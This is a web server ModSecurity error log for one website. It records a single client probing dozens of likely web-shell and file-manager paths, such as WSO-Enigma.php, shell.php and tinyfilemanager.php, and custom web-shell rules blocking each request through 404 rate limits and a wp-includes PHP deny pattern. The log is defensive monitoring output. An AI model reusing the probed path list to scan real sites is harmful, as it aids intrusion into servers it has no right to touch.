[Sat Feb 28 09:08:09.114016 2026] [:error] [pid 39292:tid 39316] [client 13.71.191.191:23547] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sundax.Php"] [unique_id "aaI_-aIAO5fN7BxyqcFmEAAAANY"]
[Sat Feb 28 09:08:10.117317 2026] [:error] [pid 11791:tid 11806] [client 13.71.191.191:23536] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sundax.Php"] [unique_id "aaI_-muX5e1Q32gqxH14rwAAAQ0"]
[Sat Feb 28 09:08:11.227145 2026] [:error] [pid 39292:tid 39311] [client 13.71.191.191:23498] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sundax.Php"] [unique_id "aaI_-6IAO5fN7BxyqcFmFwAAANE"]
[Sat Feb 28 09:08:11.871009 2026] [:error] [pid 39292:tid 39303] [client 13.71.191.191:23442] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaI_-6IAO5fN7BxyqcFmHQAAAMk"]
[Sat Feb 28 09:08:13.344057 2026] [:error] [pid 39184:tid 39220] [client 13.71.191.191:23429] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaI__VtZF9Zd_U7easCfSAAAAEE"]
[Sat Feb 28 09:08:13.908594 2026] [:error] [pid 39184:tid 39228] [client 13.71.191.191:23503] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaI__VtZF9Zd_U7easCfSgAAAEk"]
[Sat Feb 28 09:08:14.540913 2026] [:error] [pid 39184:tid 39243] [client 13.71.191.191:23449] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/pages.php"] [unique_id "aaI__ltZF9Zd_U7easCfTAAAAFg"]
[Sat Feb 28 09:08:15.195970 2026] [:error] [pid 39183:tid 39215] [client 13.71.191.191:23550] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaI__xCf4HvhVePw3La59gAAABc"]
[Sat Feb 28 09:08:15.898537 2026] [:error] [pid 11791:tid 11797] [client 13.71.191.191:23537] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaI__2uX5e1Q32gqxH147QAAAQQ"]
[Sat Feb 28 09:08:18.329986 2026] [:error] [pid 39185:tid 39257] [client 13.71.191.191:23516] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaJAAhVE-FfM89u7BQbLPgAAAIs"]
[Sat Feb 28 09:08:19.968041 2026] [:error] [pid 11791:tid 11793] [client 13.71.191.191:23513] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/item.php"] [unique_id "aaJAA2uX5e1Q32gqxH15LwAAAQA"]
[Sat Feb 28 09:08:21.299622 2026] [:error] [pid 11791:tid 11814] [client 13.71.191.191:23363] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaJABWuX5e1Q32gqxH15RQAAARU"]
[Sat Feb 28 09:08:22.147353 2026] [:error] [pid 39292:tid 39297] [client 13.71.191.191:23509] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaJABqIAO5fN7BxyqcFmSAAAAMM"]
[Sat Feb 28 09:08:23.051563 2026] [:error] [pid 11791:tid 11805] [client 13.71.191.191:23443] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaJAB2uX5e1Q32gqxH15XgAAAQw"]
[Sat Feb 28 09:08:24.305771 2026] [:error] [pid 39184:tid 39233] [client 13.71.191.191:23439] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "aaJACFtZF9Zd_U7easCfYQAAAE4"]
[Sat Feb 28 09:08:25.203835 2026] [:error] [pid 22194:tid 22220] [client 13.71.191.191:23374] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaJACX6mbajs3bzQGyvhLQAAAVg"]
[Sat Feb 28 09:08:25.731907 2026] [:error] [pid 39185:tid 39259] [client 13.71.191.191:23551] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaJACRVE-FfM89u7BQbLTwAAAI0"]
[Sat Feb 28 09:08:26.309353 2026] [:error] [pid 39185:tid 39269] [client 13.71.191.191:23473] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaJAChVE-FfM89u7BQbLUgAAAJc"]
[Sat Feb 28 09:08:27.079160 2026] [:error] [pid 39185:tid 39265] [client 13.71.191.191:23542] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qpglkpgm.php"] [unique_id "aaJACxVE-FfM89u7BQbLWAAAAJM"]
[Sat Feb 28 09:08:27.639036 2026] [:error] [pid 39185:tid 39262] [client 13.71.191.191:23438] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJACxVE-FfM89u7BQbLXwAAAJA"]
[Sat Feb 28 09:08:28.132504 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:23500] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJADBVE-FfM89u7BQbLZQAAAJI"]
[Sat Feb 28 09:08:28.778865 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:23433] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJADBVE-FfM89u7BQbLaAAAAIA"]
[Sat Feb 28 09:08:30.075301 2026] [:error] [pid 22194:tid 22198] [client 13.71.191.191:23372] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJADn6mbajs3bzQGyvhUQAAAUI"]
[Sat Feb 28 09:08:31.050707 2026] [:error] [pid 22194:tid 22211] [client 13.71.191.191:23528] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maint/jp.php"] [unique_id "aaJAD36mbajs3bzQGyvhXAAAAU8"]
[Sat Feb 28 09:08:32.347606 2026] [:error] [pid 11791:tid 11811] [client 13.71.191.191:23459] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maint/jp.php"] [unique_id "aaJAEGuX5e1Q32gqxH15mAAAARI"]
[Sat Feb 28 09:08:35.469813 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:23452] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maint/jp.php"] [unique_id "aaJAExVE-FfM89u7BQbLkwAAAJI"]
[Sat Feb 28 09:08:42.649966 2026] [:error] [pid 39292:tid 39295] [client 13.71.191.191:23427] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maint/jp.php"] [unique_id "aaJAGqIAO5fN7BxyqcFmtQAAAME"]
[Sat Feb 28 09:08:44.024792 2026] [:error] [pid 39185:tid 39248] [client 13.71.191.191:23532] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaJAHBVE-FfM89u7BQbLzQAAAII"]
[Sat Feb 28 09:08:44.904471 2026] [:error] [pid 11791:tid 11814] [client 13.71.191.191:23526] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaJAHGuX5e1Q32gqxH16DgAAARU"]
[Sat Feb 28 09:08:45.650267 2026] [:error] [pid 11791:tid 11795] [client 13.71.191.191:23521] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaJAHWuX5e1Q32gqxH16HQAAAQI"]
[Sat Feb 28 09:08:46.134640 2026] [:error] [pid 39292:tid 39298] [client 13.71.191.191:23530] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/rafosul.php"] [unique_id "aaJAHqIAO5fN7BxyqcFm1QAAAMQ"]
[Sat Feb 28 09:08:46.662325 2026] [:error] [pid 39185:tid 39269] [client 13.71.191.191:23457] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/commands/webix.php"] [unique_id "aaJAHhVE-FfM89u7BQbL3QAAAJc"]
[Sat Feb 28 09:08:47.377692 2026] [:error] [pid 39292:tid 39312] [client 13.71.191.191:23444] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaJAH6IAO5fN7BxyqcFm5gAAANI"]
[Sat Feb 28 09:08:47.806036 2026] [:error] [pid 22194:tid 22199] [client 13.71.191.191:23364] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaJAH36mbajs3bzQGyvh5wAAAUM"]
[Sat Feb 28 09:08:48.294947 2026] [:error] [pid 11791:tid 11798] [client 13.71.191.191:23533] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php/shell.php/text.php"] [unique_id "aaJAIGuX5e1Q32gqxH16UQAAAQU"]
[Sat Feb 28 09:08:48.843040 2026] [:error] [pid 11791:tid 11817] [client 13.71.191.191:23448] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaJAIGuX5e1Q32gqxH16XAAAARg"]
[Sat Feb 28 09:08:49.501485 2026] [:error] [pid 39185:tid 39249] [client 13.71.191.191:23367] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaJAIRVE-FfM89u7BQbL7wAAAIM"]
[Sat Feb 28 09:08:49.932857 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:23445] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaJAIWuX5e1Q32gqxH16ZAAAARc"]
[Sat Feb 28 09:08:50.424788 2026] [:error] [pid 11791:tid 11802] [client 13.71.191.191:23472] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/WordPressCore/fm.php"] [unique_id "aaJAImuX5e1Q32gqxH16agAAAQk"]
[Sat Feb 28 09:08:50.905109 2026] [:error] [pid 39185:tid 39260] [client 13.71.191.191:23428] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaJAIhVE-FfM89u7BQbL-AAAAI4"]
[Sat Feb 28 09:08:51.325743 2026] [:error] [pid 39292:tid 39318] [client 13.71.191.191:23451] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaJAI6IAO5fN7BxyqcFnEgAAANg"]
[Sat Feb 28 09:08:51.877030 2026] [:error] [pid 39292:tid 39311] [client 13.71.191.191:23506] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaJAI6IAO5fN7BxyqcFnGgAAANE"]
[Sat Feb 28 09:08:52.484167 2026] [:error] [pid 39184:tid 39241] [client 13.71.191.191:23382] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/gmxwbau/hzwttmff.php"] [unique_id "aaJAJFtZF9Zd_U7easCfkwAAAFY"]
[Sat Feb 28 09:08:53.129298 2026] [:error] [pid 22194:tid 22204] [client 13.71.191.191:23515] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaJAJX6mbajs3bzQGyviOgAAAUg"]
[Sat Feb 28 09:08:53.876121 2026] [:error] [pid 39184:tid 39227] [client 13.71.191.191:23527] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaJAJVtZF9Zd_U7easCfnAAAAEg"]
[Sat Feb 28 09:08:54.539702 2026] [:error] [pid 39292:tid 39304] [client 13.71.191.191:23464] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaJAJqIAO5fN7BxyqcFnKgAAAMo"]
[Sat Feb 28 09:08:55.525698 2026] [:error] [pid 11791:tid 11806] [client 13.71.191.191:23465] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/WSO-Enigma.php"] [unique_id "aaJAJ2uX5e1Q32gqxH16lQAAAQ0"]
[Sat Feb 28 09:08:56.153433 2026] [:error] [pid 11791:tid 11803] [client 13.71.191.191:23514] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/general/cache/plugins.php"] [unique_id "aaJAKGuX5e1Q32gqxH16mgAAAQo"]
[Sat Feb 28 09:08:56.676725 2026] [:error] [pid 11791:tid 11794] [client 13.71.191.191:23540] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/general/cache/plugins.php"] [unique_id "aaJAKGuX5e1Q32gqxH16ogAAAQE"]
[Sat Feb 28 09:09:05.615775 2026] [:error] [pid 39292:tid 39307] [client 13.71.191.191:23475] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/gif.php"] [unique_id "aaJAMaIAO5fN7BxyqcFndAAAAM0"]
[Sat Feb 28 09:09:06.128219 2026] [:error] [pid 22194:tid 22206] [client 13.71.191.191:23548] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/block/moon.php"] [unique_id "aaJAMn6mbajs3bzQGyvimAAAAUo"]
[Sat Feb 28 09:09:28.185887 2026] [:error] [pid 11791:tid 11815] [client 13.71.191.191:23489] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/class.engine.php"] [unique_id "aaJASGuX5e1Q32gqxH18SAAAARY"]
[Sat Feb 28 09:09:29.202070 2026] [:error] [pid 39292:tid 39301] [client 13.71.191.191:23436] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/format-library/admin.php"] [unique_id "aaJASaIAO5fN7BxyqcFn-AAAAMc"]
[Sat Feb 28 09:10:57.983154 2026] [:error] [pid 22194:tid 22204] [client 13.71.191.191:23453] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/editor/tinyfilemanager.php"] [unique_id "aaJAoX6mbajs3bzQGyvm5AAAAUg"]
[Sat Feb 28 09:10:58.662431 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:23495] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/404.php"] [unique_id "aaJAomuX5e1Q32gqxH1_zwAAARc"]
